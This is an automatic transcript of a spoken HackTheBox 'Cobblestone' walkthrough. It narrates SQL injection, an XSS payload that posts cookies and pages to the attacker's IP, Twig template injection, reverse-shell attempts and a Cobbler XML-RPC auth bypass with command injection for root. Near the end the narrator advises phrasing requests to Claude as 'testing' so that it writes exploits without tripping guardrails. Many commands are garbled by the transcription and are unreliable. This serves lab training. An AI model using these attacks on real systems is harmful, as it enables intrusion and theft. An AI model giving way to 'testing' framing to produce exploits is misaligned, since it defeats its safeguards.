HackTheBox - Cobblestone
Transcript
Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.
What's going on, YouTube? This is Ipsac, and today we're doing Cobblestone from Hack the Box, which is an insane machine, but like most insanes, it's on the easier side if you're good at recon. We have a cross-ite scripting vulnerability, but the PHP session cookie is marked HTTP only. So, while we can control the victim's browser through Crossite request forgery, we can't steal the cookies, at least easily. Sending the page the victim is on back to us shows a link to a debug page. This page runs PHP info which gives a lot of information but most importantly the cookies in the request. So we can use CSRF again to have the victim navigate to and send us the output of the debug page and this allows us to steal their session. From here we can find a SSTI vulnerability in the PHP template engine. App armor is installed so it isn't trivial to get a shell but we can dump the database and gain SSH through known credentials. This goes into a restricted bash environment. But we can see an XML RPC interface is running as root and exposed to local host. So we tunnel it back to us, exploit it, and get root. With all that being said, let's jump in. As always, we're going to start off with an end map. So - SC for default scripts, SV enumerate versions- reason. This will give us things like the TTL 08 output all formats in the end map directory and call it cobblestone.
And then the IP address of 1012943.124.
This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22. And the banner
tells us it's a Debian box. We also have HTTP on port 80. It's banner tells us it's running Apache HTTPD and it's directing us over to cobblestone.htb. So, let's go ahead and add this to our host file. So, I'm going to do a pseudo vt host and then we can add this and
cobblestone.htb. HTB. Save that. And I actually don't have Firefox open. So, let's start up Firefox. And I probably should be opening Burp Suite as well. So, let's open this, too. Let's see if we're not going through Burp. That is fine right now. Yes, defaults. So, let's go to HTTP
cobblestone.htb. And we get a page. It does show um we got a skin database, vote, and get your own. And this is going to deploy.cobblestone cobblestone.htb and then vote.cobblestone.htb. So let's go ahead and take a look at all these vhost. So I'm going to have to add it into my host file. So s p sudo v ets host. And then we want vote cobblestone.htb and deploy cobblestone.htb. If you're curious what I was looking at, I'm just looking at the bottom left of my screen when I hover over a link. So we can look at all of these now. Um, let's see this. We have a few names.
We have Josh Madden, Sam Carlson, Katrina Robinson, and Jeremy Brewer. Let's see. Um, we have network and client firewalls. Um, harding clients with app armor, uh, restricting users with chroot jails, and then general Linux admin. So, there's a lot of good information here that will come in handy later on, but in reality, if you do good recon, you can determine all this stuff anyways. So, we're kind of going to forget about this. Um, the
uh skin directed us over to login.php. And then we also have a login under the
um vote subdomain. So, let's go ahead and register an account. So, I'll do IP uh let's do IPS ipsack IPSAC roots.rock and a password of password. So, we can
potentially log in now. So, let's go ahead here. IPSSAC password to log in
and then maybe we can log in here as well. IPSAC password and we can't. It says user not found. Uh we could try like admin asd password wrong. So there is a usernamed admin. Um I think Josh was one user not found. Uh where were other users here? Right. Uh we could try like J Madden. Um
just find ways to enumerate valid users. Not really that important. Um, but let's go ahead and go to register and let's create another account. So, what this is telling me is they don't have any type of like single sign on type of thing. Um, and vote is in its own database, right? Because when we create an account on the main website, which is where the skins is. Um, it didn't create one on this one website to vote. So, we have two databases at play. Um, here we also have another host name, um, MC. We also have server.sand Sandlot Minecraft and something else. But let's go ahead and
um was that MC? Yeah, MC. Cobblestone. So, we can add this to cobblestone.htb.
And that is probably going to be like the Minecraft server itself. I don't think this is going to be on its own um vhost, but we can take a look. Yeah, this is just going back to the main page. So, if we go over to suggest, and then there's a logout page. So, I'm going to suggest uh let's go to my IP. So, 101014.174 I think I am. Let's see. Uh 171. I'm
going to go on port 8000. So, let's do make dur dubdubdub. And what I'm testing for right now is like a um ssrf
vulnerability, right? And it it's not actually a vulnerability because probably doing um the intended function
of the website to reach out to us, but it's still something I want to see if I can see the server making a request to me. And I can't. We can see my owner ID is 10. So probably have nine other user accounts on this database. We're not approved. We have no votes. So let's go back to suggest. And I'm going to put a single quote in here. We do this and we
get a blank page. That looks odd. So, let's go back here. We can do suggest. And I'm going to do a single quote and then a comment afterwards, right? And we get a page. And interesting enough, I don't see my output here, which indicates this is going to be a SQL injection vulnerability. Right? We put the single quote in which terminated the SQL syntax and then a comment which made it now valid. Right? So, at this point, I want to play with this in Burpswuite. So, let's go to suggest. We're going to do the same thing again, but now I'm going to go over here. We can go and turn it to burpuite. Make sure we are intercepting. We are
send this. And then we can go to repeater tab. So, we have a 302 found. So, what I want to do is go in my settings. We will follow redirections. So now when I send it, we follow that redirect and we get the response, right? And what I want to do is autoscroll down to this line because what that's going to do is let me see right here because I think this is the um data we're getting back from the query. Right? If I take out the comment, we don't hit a highlight. So we know that's a bad syntax. So what I'm going to do is a single quote and then we can say order by one. Uh we need to also
comment out. Uh my comment disappeared. So we'll try this. Uh we have 2,00 and that's still
okay. So, at um 1,200 bytes, 2,000
milliseconds, uh we're not getting any results back, which leads me to believe this is still a SQL error. Right? I'm going to do order by two, order by three. And what I'm trying to do here is just enumerate the number of columns. Uh four still at 1,200 bytes. Quarter by five
by six.
And that is not working. Um let's see. I
wonder if my syntax is wrong. We can just also try a union select one, two.
Wait a second. I think I did a double single quote. Uh,
I did. Yes, I did. Um, I want to go back to that order by real quick. Order by four.
That seems to have worked. Let's go order by five.
Order by six. And that query is failing. Okay. So what that tells me is there is five different columns being returned, right? Because we can order by the first thing returned, we can order by the third thing returned, we can order by the fifth thing returned, right? But when we hit the sixth thing returned, we get an error. Um, you can
see that's not highlighted and only 8/19 bytes. So again, if we went to the union select one, that's going to fail. If we go one, two, three, four, five, this will be successful. And um I was expecting to see like
the number of votes be something here.
Uh let's see.
That is weird. Okay. Um what I did here is I changed
this URL so it didn't exist in the actual database. So that way it is taking the data from my union and we can see two and five. I bet if I do this again, it's going to be what it was before, right? Nope. Two and five. Okay. So as long as this doesn't exist in the database already, um, we can now control the output here, right? If I go back to 8,000, this field is existing.
So it goes to what is there, right? And by what I say is existing is this URL exist. Um, is it like union select all
or something? There's some type of syntax where we could always choose on the right side. I forget what it is, but I like just making sure what you're selecting is unique, right? Because what's happening is this query runs, it returns nothing, and then this data here gets populated. If this query returns something, this data is not getting populated. Uh but here we could do like a select version now
and let's see uh that is a query failure.
There we go. The semicolon was a bad character but you can see we can get data out of this. Um we could start trying to dump the database but I want to still enumerate other things. So let's go ahead and um copy this to a
file. So, I'm going to do a uh v. Let's
do another pane real quick. What do I want to call this? Uh, this is suggest. So, I'll do suggest request. Paste this. And URL. I'm just going to get rid of all this. We'll do 8002. Sure. SQL map- R for
request. Suggest request. Parameter is URL. Um, is it going to default to HTTP?
Looks like it does. Um, we could do a dashbatch request, but it is actually going Is it d-batch? Do I have to do that? There we go. Um, let's
actually delete this because I have some information already. I should have cleaned my SQL map directory up. But there we go. Now, it's going to run and um, start automating that. I always like having some type of recon and stuff going in the background. This is like active recon or maybe it's not recon at all. or exploiting the my uh SQL server. But anyways, this will start running while we can look at other things. So, let's go back and if we went back to the homepage, there was that skins.php that we clicked on, right? Um to show you, let's go here. Proxy turn intercept off.
I click the skin database. And one of the odd things is the website size. If you're not like full screen, let's see if I can show this. You don't really see that header there. Um, and the scroll bar says I'm at the top, but if I hold control and scroll down, you can see there is a banner up top. So, if you're solving the machine, just make sure you can see this navbar. That is a pain, but oh well. Um, let's see. Let's
go enter my usernames. IPS is a skin. And then let's try this again. Um, I
don't know why that had autocomp completed, but here we go. We have SQL injection. I'm going to do dash d for dump. um d-dump.
There we go. Um it's unable to enumerate
some columns. Um let's see. We could try no cast or d-hack, but I don't think that's going to help. Um maybe it does.
Let's change it to Oh, I think that was helping. Awesome. Um maybe it was running into some bad characters. So, it's going to start dumping the database while we go look at other things. Um,
1010141 171. Submit that. So, we have
suggested a skin. And I'm waiting to see if I get a hit on my web server. And I'm going to wait, let's say 60 seconds to see if anything ever reaches back to me. And we do have the server. After about a minute, it did reach back to us, but we don't have any information. I probably should have just done like NC so we can see all the headers. You can try this again. Um, let's do IPSC IPSAC HTTP
1014. Should make this bigger for you all. 171 8000. Um, I'm just going to do test here so we can see to make sure that is a new hit. Double check my IP address. Submit and go. Um, while that goes, we could look back at our um SQL DOM. And wow, that is ugly formatting. I wonder if I go into this file. Let's go here. cd dump cd vote cat users.csv.
So, we could start trying to crack the cobble password. Um, I'm not going to do
that just yet. There's other things we could do in um this SQL injection that
I'm just not going to show. Um, we've shown it a h 100 times, but essentially since we have this um, select load file. I think I showed this with Etsy pass WD, right? Um, or maybe I didn't. We can try this to showcase it. Let's go. We can
get this file. We could also start finding the source code of the application. Uh, ver dubdubdub probably like HTML index.php. Let's see. Um yeah, so we could start looking for the source code and um dumping it, which will confirm other vulnerabilities in the application. But I like finding it this way, right? So what I'm doing right now is looking at the user agent. It looks like we have a headless Chrome coming to look at this. Um let's see.
I also want to test for um what am I going to say? cross- sight scripting. So, let's go back here. I'm going to put nothing as the URL or we probably should go like http um 127001 something that doesn't reach back to us. And then I want to do a
image source is equal to x then on
error. And I'm going to say fetch
fetch c. Yep. http 10 1041 171. We'll do
port 8,000 and this is going to be username like that. I think that is correct. Um
I always hate typing JavaScript.
So let's start this back up. And I'm going to put something unique here. This will be skin. So we can try submitting with this. And then we'll see if we get any hits. And then I also want to go into dubdubdub vindex.html
um html script paste this slash. Oh
wait, this is just an HTML.
Okay. While I was uh testing this out, I was just building this so I could like navigate into like index.html HTML on my own browser and make sure I did that HTML correctly. Um, but it looks like I did. We have SLSkin SL username. So, we do have cross-sight scripting. So, what I want to do now is since I can load scripts on this page, I could potentially try to like steal the cookie or do cross- sight request forgery. So, my first thought is let's look at how the cookie is stored. This is a PHP web app. It is set to HTTP only. So we can't just Xville it by doing like um a HTTP request and document.cookie. So what I want to do is
um make a request and like play with server side request forgery. So we're going to do a fetch and we're going to send whatever the is on the browser currently back to us. So I'll do 10 10 141 171. We'll go on port 801
uh because this has to be at a different thing than a web server unless we wanted to code up something unique but I really don't I just want to use netcat and see the post data. So the things we want to send uh we want to make this a post request. So we'll send the method as post. We want to disable cores. So we'll do mode no cores. And then the data of a request we're going to do body is equal to uh document
document.element outer html. I want to say that's right.
And that should be our payload. Right. So, I want to listen on 801.
We'll have our pone here. And then on the suggest, it doesn't really matter what we put there. We could put this in username or skin name. Um, but I'm going to do the image. And instead of just a fetch here, uh, we want to do slash um
pone.js. And then we also need um to exe execute this right. So after
the single quote let me just copy this in a terminal. So for some reason I can read this easier. I don't know why but terminal is my home right. So
I'm just going to hold on.
Let's ignore these double quotes. There we go. This is easier for my eyes to see. So after this, what do we want to do? Um a then
and we'll assign the body of a request
to the value R. Then we close that out.
And then after that we can run eval.
Do I have to do eval?
I think that's right. So essentially all I'm doing is getting pone.js and executing it. There's a bunch of ways we can get remote code execute. Well, not remote code execution, but like have this payload work. We could probably also just put what is in pone.js on our payload. But then we have to keep mcking around with the HTML. And I'd rather just um I don't know why I have two double quotes there. I would really rather if I could have one payload I can run here and then I wait x number of seconds it goes to my server and executes because I find that to be much much easier right so hopefully within the next let's say 30 45 seconds it's going to reach back to us because it's loading that pone.js and then that pone.js is going to send the current page down to this uh terminal down here.
Um, let's see this payload. I just want to look at it real quick. Uh, we fetch pone.js then eval. I wonder if I have to eval R. This should just work, right? As long as I did all the parenthesis correct.
Um, let's see. We could while we wait
test this in our existing browser. So, I will copy this.
Uh, this should be Yeah, that's fine. Okay, it worked. I was about to put that on index.html to test, but you can see we got pone.js and then pone.js sent us this. So, let's
go ahead. I probably should have
um directed this to a file, but oh well.
We can highlight copy everything.
Copy this cdubdub v test.html. Wrong clipboard. There we go.
And http 1270018000
test.html. And this is what we see. Um, it failed to load a lot of the images, but this is the admin logged in.
And there is this link down here, this admin server info. You can see it's skins_app_admin whatever. So, what if we just navigate to this URL? Um, the link is wrong. So,
let's just do cobblestone.htb HTTP
and we get this PHP um
page. So, this is just going to be a PHP info. And right off the bat, this isn't really that useful to us. But um
one thing that is useful is it does display HTTP cookies. And because I just requested this page from my browser, I'm getting my PHP session ID. If I make the admin go to this page and then send me this page, I will get their PHP cookie. Right. I can confirm that's mine. If we just go to cobblestone skins, look at this. 7D F. It begins with 7D, ends with FO. Begins with 7D ends with FL. So,
let's go ahead and edit our payload. So, let's go CP pone.js to pone 2 because I
want to keep that just in case I want it later. But now let's go ahead and edit this. So what we will want to do is another fetch. Um I'm just going to type it again. So fetch http. Let's copy this URL because we want to grab this,
right? So we will um fetch that and then we want to tell it to include the credentials.
If we don't put this, it won't include the PHP session ID cookie. So we will do
that. And then let's see. I wonder if I can do it like this. Put it on multiple lines to make it easier to read. So the same thing we'll do R is R.ext. So now we're saving the
contents of this page and then we're going to do another request.
So d fetch then http 1010 1014171.
This will be 801. And then what do we want to send? Um, this is going to be another post request
mode course body is going to be the PHP page.
Okay, so let's get rid of that. I think this will work as long as we did it correctly. Let's see. um that is still hosted nclvmpp 801. I'm
just going to do at php info.html.
So now we're going to save the output so we don't have to copy and paste it. So now I can just go back to the skins page
and because we're using this little web cradle thing, I don't have to change anything I'm putting here. I could have just put this in burpswuite probably and then hit Oh, wait. Hold on.
I could have swore this did not have a single quote there, but maybe it did. Maybe my eyes were playing a trick on me. I'm going to send it again for good measure. Um, and then I always like just doing a sleep 60. So, again, what's going to happen is let's see. Um,
dubdubdub pone.js,
right? It's going to hopefully hit pone. Oh, it hit pone.js and then it fetches the PHP info page. Then we save that to a variable and then we send the output of that back to us. And it looks like
that worked. So, if I now go back to my
web server, if we do localhost 8000, uh, what do we call it? Like, we did a t, what did we call it? phpin info.html.
There we go. And we have the first name admin, last name admin, ro admin. So, this is definitely going to be um
the web browser. So, the thing we want to do is look for the cookie. And we have this begins with D4 ends with if
that is definitely different than our cookie. So let's go ahead and replace our PHP info. Then we can refresh the
page and let's see what we have. Make
the text a little bit smaller so we can see everything. And we have other features of this. So like user management, skin suggesture. Um if we go to the user management um this is something we could find again if we used the um load file like we could have just viewed all the page source and then found that PHP info page this way and then did the XSS. I found it cooler to just use cross- site request forgery to find the link naturally. Um, another thing we could use this to look for vulnerabilities in the web app. And if we did that, we'd see there's a serverside template injection here. But we could also just test for it, right?
If we just did 7* 7 um in various
fields. So let's go last name as well. Go to preview um the welcome banner would look like this. Let's see. Maybe we do it a name as well. That all seemed fine. Let's go here. intercept the request to see what this looks like. Make sure it's not doing any weird encoding.
Let's see what if we don't send it URL encoded. We just get welcome 49, which is very
weird. I don't know exactly what is happening JavaScript wise because
when I do this Oh, we probably did
Welcome 49 right up top. Um,
yeah, my eyes were looking here because I said I did 7* 7 three times and I saw my payload three times, but we have it here. Um, that may be is that first name? Yeah. So, in the first name there is definitely um serverside template injection, right? Yep. And this is a PHP web app. So,
this is probably using Twig. That is one of the more common um templating engines. You could probably go to like payload all the things in various websites. But if we just run like ID and then pipe it over to um
system, I think this will work. Yeah. Um you could do various things like reduce is another thing. I don't know exactly. Uh maybe reduce isn't um eval.
That's the one I always remember. But there's a if you just search twig serverside template injection, you find a bunch of ways to execute commands. And here we go. We have dubdubdub data. So what I want to do now is see if I can like base 64 encode something. I can't.
Um and the reason why I want to test this is I'm not testing like B 64. I'm testing if the pipe works. If I had this fancy red, right? We could try like bash- c ID. See if this works. It
doesn't. Um, we could try, let's see,
curl http 101041 171. Uh, let's make a request to 802.
So, let's do nvnp 802. Don't get a request. Where is curl normally installed? User bin. Let's give it the full path to see if that's what it needs. No. So now I'm thinking maybe there's like a firewall in play or something. Um we could try like wget. Maybe it has wget but not curl. Nope. Um let's see. And I didn't try the bash- c reverse shell because when I did a bash- c to do a like ID command, it failed. Um, which actually
uh let's see which bash that is user bin as well because this would point it to being certainly not a firewall, right? Um, we
try let's see user bin sh
that works but bash doesn't which is
weird. Um, let's see. Can can we do like a ls user bin?
We can't
can't do Etsy.
So, a lot of the commands aren't fully working, which is a little bit odd. Um,
this is definitely not going to be an IP tables thing because it's blocking certain commands like uh we know bin uh
user bin existed because it worked with our user bin sh, but we couldn't execute bash. Um, we also can't list every directory like we can't list verdubdubdub, but we can list verdubdub html. So, this is odd. Um, if we go back
to the PHP info, uh, there is one hint that we missed. If we look at, let's see, um, the loaded modules, we can see app armor is loaded. And again, if we go back to the very beginning of the box, we can see Sam Carlson is an expert with Harding clients via App Armor. So, there's probably an App Armor profile installed on this box. So, let's try ls Etsy. Um, can we go in like App Armord?
Um, let's see. I don't know exactly where App Armor is installed. Um, let's see. Is it maybe
Apache D? Apache 2.D.
Oh. Uh, I have a typo.
Okay. So, I think we can go into this directory. So, if we go to Etsy app armor.d, which is where um App Armor things are installed, we see Apache 2.D. If I go here, then we can see a file called cobblestone. So let's go cobblestone. And we don't know it's a file. It could be a directory. So if we do this, we still get that. So now let's change this ls to a cat. And there we go. We have the app armor profile. So let's see, we have Apache 2 common base name service. Uh we can write to various log files. Here are the places we can access on the file system. Um, so
we have dash, ls, cat, id, who am I? Um,
so we can execute dash, but I don't think dash lets us do the um proc system
thing, right? User bin dash- c ID.
Let's see. B 64. Can we do B 64 there? We can't. Um, cat to dev tcp 10104171
802. Let's just see.
Yeah. So, we can't write to this. So, we can't really easily get a reverse shell with dash. Um, let's see what else do we have. lscat ID who am I? Uh, we got Maria DB
dump and MySQL dump. So, we can dump the database. Um, deny executables. Python,
Pearl, Netcat, PHP, Bash,
um, SH. There's no Ruby. I wonder if
Ruby exists. I don't even know Ruby syntax. Um, I was just thinking maybe we could get a reverse shell with Ruby, but then once we go into Ruby, we won't be able to execute bash. So, that probably won't work. I guess we could try dash. Um, let's see. Do we have the witch command? Witch sh. We do. Ruby. We don't have Ruby on the box. Um, we can't execute Pearl, PHP, Python.
I'm just trying to think what other weird language we could use for a reverse shell. Um, reverse shell
cheat sheet.
Let's see. Is there any?
So, bash, pearl, python, ruby.
Let's see which netcat.
There is netcat, but the netcat is
probably going to use.
Let's try it. I don't think this is going to work. Um, we probably have to break this into separate files. ID. ID. Does this do ID twice? It does.
this bin sh- I
let's do 10 104171 802
internal server error
we probably have to y encode a lot of this
hung we don't get a response
And fairness, we used net cat. Still nothing.
Let's see. One, two, three, four.
I wonder if we can't write the temp. Is that it?
Let's see where's the app armor files
which netcat ruby sh
what can we write to access log that's fine I don't want to write there
we should be able to write to temp we can read etsy and temp.
Echo one, two, temp.
Okay, so we can definitely write to temp. So let's just do this in simple commands
and then we will probably give uh oh, we probably can't run make FIFO. That's probably the issue.
Is that on a deny?
Zero matches. So maybe we can run this.
So we deleted temp f. Now we
create that.
then sh-ash i.
This is the command we want to run.
Let's see what I'm going to do. See, user bin dash C ID
B64. This works, right? Oh, it doesn't.
That's probably going to be the issue. We can't use the pipe character,
which is weird. Can't do that. Is B 64 denied?
No.
user Ben. I think we just can't use the pipe and
that's breaking it.
Yeah. Okay. So, I'm gonna give up on trying to get the reverse shell. Um because we have other things we can do, right? We have my SQL dump which we can definitely run. So we want to run this
and then we have to get the credentials to run this right. So let's go over here
and we want to do ls what was it? Ver dubdubdubdub html I think is where this app runs. We could always go into the Apache directory and look at it that way. But here uh we have a db. So we can
do HTML db connection.php. This is very
simple uh PHP like file structure right.
So here we have this. So that is going to be the password. The DB name is cobblestone and
the username is DB user.
So let's just go ahead and do V nodes.ext. text
this
see db user like that. Okay.
So now we want to do this dump. So we do my SQL dump and then a-u db user-p
that password and then the database which is cobblestone. And there we go. We have a full dump. So, let's go ahead and copy this.
And let's see. We do have some encoding.
And I think this, let's see,
did it just decode it three different ways? Um, let's see. Is this better? That has dash T.
Yeah, I'm actually going to copy this one. Can I copy? Add another decoder. Remove decoder.
Is it like at the bottom to copy? I wish there was a button that just said put on clipboard. Um,
let's see. V DB dump paste.
And I was copying the decoded output because it had HTML encoding in it, right? Um, let's see.
users admin cobblestone and we have some hashes here. Awesome.
So, cat db dump. Let's see. This looks like a shaw one sum or sha some. It's one of the shaws. Uh wc 64 characters. That's probably a shaw 256ome, I want to say. Um Shaw 256some.
Yeah. So, it's a shot 256 sum. So, let's
see. If I do crackstation, we should be able to crack it since it's literally just a hash. Um,
I'm just going to send it to a service and see if it cracks it. Right. If it was um
what am I trying to say? Hold on. Let me get this copied.
Uh grap admin.
Come on. DB dump.
if it was like how um
the database was stored or not database like the when we did uh SQL map and it had like the dollar2 y it was actually
um salted and everything then I would probably be going to hashcat um why did this not crack not like me putting the username first there we go so this one has cracked uh it is I love Danny more than you Well, uh, let's see. Do I still have that SQL map? Yeah, like this since it's salted,
um, we can't send it to crackstation or something like that. But since we just have a raw hash, we can easily just test this. Um, which password was this. Uh, let's do a grab this on dump. Um, db dump. There we
go. Cobble. So we can try sh cobble at
cobblestone.htv. Copy this password to see if it works. And we get in. Awesome. Uh you could have also um let's see went here. We probably could read cat etsy pass wd right
and we see uh John cobble interesting
enough tftp is installed that is odd but there are users on this box right and cobble is in our bash um John has just a
bash shell but this is a restricted bash so it looks like we're going to be in some type of jail right so I do ls etsy
Uh we can go there. Let's see. Um oddly enough, um Ctrl L is not clearing the screen. Uh clear is not found. Um echo path. So we can say ls user local
bin not found. LS user bin not found. LS
slashbin. Uh these are the binaries we have. We have cat grep ls ps rash and ss. So if
we do psf-forest uh we can see what we have here. So there is tftp that is in serve probably
tftp. Do I have less? Please say I have less. I do not have less. That is annoying. Um but if I do ls let's just
do slash. Um I don't even have a slash srv directory. So, I can't look at what's in TFTP.
So, there's PHP. Um, we have Laurel audit D.
Let's just do a PSF. I'm going to grip for what else is running. Let's see on route. Um,
that's my SSH PHP. Am I missing something?
Let me hide everything with these brackets. DashV like that. There we go. That's better. Oh man, not cleaning the screen is really messing me up. Uh, so we have init D, VMware tools,
DH client, audit D, cron,
WPA, supplicant. We have something called cobbler D um TFTP and Apache. So we could also look at John. That was another user on the box that just had um bash which is not our bash. So if we can get to the John user, we could also escape this jail. Um so something cobbler. Do we have access to user local bin? Um, cobbler D.
We don't.
Okay. Um, let's do SS. That was another thing we had. Uh, we can see port 25151
is open. So, let's go ahead and forward this to our host. So, I'm going to do a -L2515 like that. 127001 25151. Okay, that is forwarded. Curl. Let's just do a new terminal. Curl localhost
that. And let's see, we just have an
unexpected response. Get um let's see, dash capital I. This is a
Python web server. So, chances are
this is going to be cobbler, right? And
the reason why I'm just saying chances are if we do a psdf gp on this uh we can
see cobbler d is running python 3.
Since we're in this jail I don't really have a good way I think to enumerate exactly that this is running. But this is just one of the few processes that is running. It is running Python 3. And looking at um the error code or the
server, this is a HTTP a Python web server. So I'm guessing
um we want to attack cobbler. So I'm going to do cobbler GitHub, right? And maybe this will even give us a way to enumerate it. Um we could also maybe search like what listens on port 25151.
Uh, that would be another thing. Let's see if I just search the I'm not logged in.
So, I don't think search is going to work as I want it to. Yeah, I can't search code. Um, cobbler 25151.
Does this come? Let's see.
Um, XML RPC. So, we have an authentication bypass here, but I'm somewhat confident this is going to be the right thing. Let's see. Do we have a cobbler D file?
Probably because I'm not logged in. We should just do a git clone.
But let's go over to issues.
And I'm just going to search issues for rce.
And we have a few multiple security vulnerabilities. RCE as root
not validating.
Let's see. Injection.
Close some of these tabs.
Uh we have XML RPC interface vulnerable to command injection open in 2014 and um
still open. Uh this is an actual exploit script. We will ignore that.
So let's see.
Security token not being validated.
What are we doing here? Payload off
allow none.
Looking at this, this doesn't seem to be what I thought it was.
RCE as root. This one is closed.
So, this is the one I was looking for. Uh but before we go into the exploit, I guess we probably should have explained what Cobbler is. Um
if we look, it is a Linux installation service that allows for rapid setup for network installation. So essentially this allows like provisioning Linux boxes, right? So think of it kind of the same type of exploit as if we had access to Docker. We would spin up a new Docker instance, map something from the root into this instance and then get code execution that way. Right? This is just taking advantage of like Pixie booting things like that. We can see TFTP is used probably because um it stands up a Pixie instance and it boots to Cobbler and Cobbler then deploys Linux to it. Right? So here we're saying there are um command injection vulnerabilities. For example, this rsync flags. Um what's happening here is uh most likely when you spin up the um new image, you arsync something from root, copy it into that new image, and that's where we have command injection, right? That's what I'm guessing is happening here. Um there was also another thing um if we do cobbler o bypass I accidentally closed it already
but there was a cve here to bypass the
authentication on this XML RPC interface. Essentially if you log in with the user's password of negative one it just lets you log in. um
trying to see where I see that, but I don't exactly uh see that. So, what I'm going to do real quick is we have a get issue. It says XML RPC
um RSYNC flags. It has a lot of information here that could potentially be exploited. My main issue when I was solving this box is this is from 2014. Can it potentially still be a vulnerability? Now, if I was just solving this box without AI or anything, I'd probably ignore this issue altogether because it's over a decade old. But I always like having Recon going in the background. So, I'm going to open up Claude and say, um, take a look at this.
I have Cobbler running on 25151.
Is this vulnerable still?
Right. Um, actually I'm gonna close that.
Please make a Python script to test the
rce.
So, we're going to see if it makes an exploit script while we look at other things. I guess we could start trying to build um our own payload to test the
login. Uh, let's see. Let's see. How
would we do this? If we go to cobbler, there's probably a wiki. This is a big project. Uh cobbler github.io.
Let's see. Cobbler wiki example XML RPC.
Let's go to Google.
Here's the wiki I was looking for.
Um yes, I want to proceed. Let's go into auto mode so I don't get asked 20 questions. Uh let's see. We input the
client and do a login.
So let's go V. I'm going to do human.
We're going to go in a human. Uh V test.py this. And we are
127001.
And then we want to do a server login
and we'll do a blank username and password of negative one because that was that off bypass CVE. I know I'm not showing it too in depth but
you can read that CVE if you want to
um XML RPC lib is not
let's see Python 3 M VM.VM VM.
Come on. Source VM bin activate.
PIP 3. Install XML RPC lib.
Import XMLRPC.Client client.
Is there example just wrong?
Let's see.
To do anything, we must define the connection. Logging in.
This is better.
Okay. Connection refused. That is better because we are on 25151.
We get a 404.
Is there a different page we want to get? It's probably not cobbler API.
See, has clog found anything? It's confirmed the off bypass. Um, localhost 25151. It's not doing cobbler API. So, let's just try making a request to the port
raw.
Uh, login failed.
Still login failed. How are you logging in? We do s.lo and it's sending negative one as an integer. We sent it as a string.
There we go. So that does let us log in.
Um and now they're calling various functions. Uh let's see our sync. Do they give us any P how to use our sync? It doesn't look like they do.
But now we have verified we have a bypass in the authentication. So, as long as we can find a way to talk our sync to this, we
should be able to get a shell. So, let's see. Cobbler XML RPC rs sync PRC.
Let's get shared secret.
Does this now have an rce? Vulnerable endpoint. Netcat shells.
So payloads how's this doing? So we connect to it.
We authenticate with negative one. Um executing Xplay. So we have import data and all we're doing is that is enough. It's not even using our sync at this point. Okay, let's just try this.
Web SS
logged in
v pone.py Pi
Python 3 pone target HTTP
127001 25151 LHost 10104171 port is going to be 9001
and we have a shell
And we're root. So that is going to be the box. A little bit easier than um
I would expect. Uh but enumerating app
armor is relatively tough. And that's probably what put this into the insane category. But now I want to see if whatever Claude came up with was good enough, right? because doing like kernel
CTF for any like GitHub issue where
someone finds a PC but they don't actually give the PC I found AI is really good at just building the exploit itself as long as you don't tell it hey make the exploit um it normally doesn't violate any guard rails the better thing to do is just say hey I'm trying to test it and then you go into that dual use case scenario right so this is what AI has built so let's exit this real quick Uh let's look at the code. So we can say cobbler rce.py and we see the chain is an off bypass first and then command injection and then how it does it. It even has a shell command. How is it doing shell?
Um
shell meta lhost lport.
It's just doing the bash c- i trick. So let's see if that works actually. Python 3 cobbler rce.
Uh, it injected sleep six. So, I guess it's testing. Yep, it validated. Um, let's do a d-shell 1041 171 and then 9,0001. And there we
go. We get a shell this way. So, yeah,
that was the box. Hope you guys enjoyed it. Take care and I will see you all next time.





